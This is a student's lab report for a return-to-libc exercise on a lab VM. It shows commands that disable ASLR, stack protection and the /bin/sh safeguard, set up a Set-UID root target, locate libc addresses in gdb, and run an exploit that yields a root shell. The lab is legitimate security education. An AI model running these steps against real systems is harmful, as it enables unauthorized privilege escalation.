Lab 2: Return-to-libc Attack Lab

Samuel Shen Prof. Kadri Brogi
CUNY John Jay College of Criminal Justice

September 27, 2019

1. Introduction
   In this week's lab experiment, we will be experimenting with an attack similar to the buffer overflow attack from last weeks lab known as the return-to-libc attack. This attack can bypass existing scheme protection in Linux. In order to experiment with this attack, we will be using SeedLab's pre-built Ubuntu 16.04 LTS. We will also be required to download two files from SeedLab, retlib.c (the vulnerable program) and exploit.c.

2. Turning off Countermeasures
   As similar to last week's lab, we will need to disable several countermeasures that is already put in place to protect against buffer overflow. Since this experiment is a variation of buffer overflow, we will need to do the same thing from last week's lab experiment.

   First, we will need to disable Address Space Randomization. This can be done by running a simple command in terminal:

   ```
   $ sudo sysctl -w kernel.randomize_va_space=0
   ```

   This next security mechanism we need to disable is StackGuard Protection Scheme. In order to disable this, during compiling of a program we will need to add the "-fno-stack-protector" options. This is an example:

   ```
   $ gcc -fno-stack-protector example.c
   ```

   The third security mechanism is executing non-executable stacks. This can be disable during compiling of a program by adding the "noexestack" or "execstack" option:

   ```
   For executable stack:
   $ gcc -z execstack -o test test.c

   For non-executable stack:
   $ gcc -z noexecstack -o test test.c
   ```

   The fourth and final security mechanism is configuring /bin/sh. Since we are experimenting this on Ubuntu 16.04, we will need to configure this in order to experiment with this attack. We can disable this security countermeasure by entering the following command in terminal:

   ```
   $ sudo rm /bin/sh
   $ sudo ln -s /bin/zsh /bin/sh
   ```

3. The Vulnerable Program
   In this week's lab, we were given a file called "retlib.c" which has the buffer overflow vulnerability. We first compile the code and turn it into a root-owned Set-UID program. We can do this by compiling the code with "-fno-stack-protector" and "noexecstack" and then changing the permission with these two commands:

```
$ gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib
```

```
[09/25/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/25/19]seed@VM:~$ sudo rm /bin/sh
[09/25/19]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
[09/25/19]seed@VM:~$ gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
[09/25/19]seed@VM:~$ sudo chown root retlib
[09/25/19]seed@VM:~$ sudo chmod 4755 retlib
[09/25/19]seed@VM:~$
```

4. Task 1: finding out the addresses of libc functions
   In order to complete a return-ro -libc attack, we will need to use commands like "system()" and "exit()" function in the libc library. In order to do this, we will need to know their addresses. The program I ran in gdb was retlib, the vulnerable program.

```
$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
```

   Terminal return with libc-system as: 0xb7e42da0 and GI_exit returned with 0xb7e369d0:

```
Breakpoint 1, 0x080484e9 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

   We can see that the address for the system() function is 0xb7e42da0 and the exit() function is 0xb7e369d0.

5. Task 2: Putting the shell string in the memory
   In this task, we need to get one more memory address to then complete the badfile to exploit buffer overflow. We can accomplish this my executing the following commands in terminal:

```
$ export MYSHELL=/bin/sh
$ env | grep MYSHELL
MYSHELL=/bin/sh
```

This will export /bin/sh as “MYSHELL”. We can then create a .c program to print out the memory address of this. If address randomization is turned off, running this program multiple times will result to the same memory address:

```
[09/25/19]seed@VM:~$ export MYSHELL=/bin/sh
[09/25/19]seed@VM:~$ env | grep MYSHELL
MYSHELL=/bin/sh
```

```
[09/25/19]seed@VM:~$ gcc -o file file.c
[09/25/19]seed@VM:~$ ./file MYSHELL ./retlib
MYSHELL will be at 0xbffffdef
[09/25/19]seed@VM:~$
```

6. Task 3: Exploiting the Buffer-Overflow Vulnerability
   Now that we have the memory address for “system()”, “exit()”, and “/bin/sh”, we can now complete the exploit.c file. We did this by replacing “some address” on each line with the corresponding memory address we received then compiled exploit.c and then ran exploit and retlib:

```
[09/25/19]seed@VM:~$ gcc -o exploit exploit.c
[09/25/19]seed@VM:~$ ./exploit
[09/25/19]seed@VM:~$ ./retlib
#
```

Once we were able to compile exploit and run exploit and retlib, the attack is successful and now have a root shell. This can be determined by the change of symbol. Instead of showing us the date computer name:~$, we now get a “#” symbol.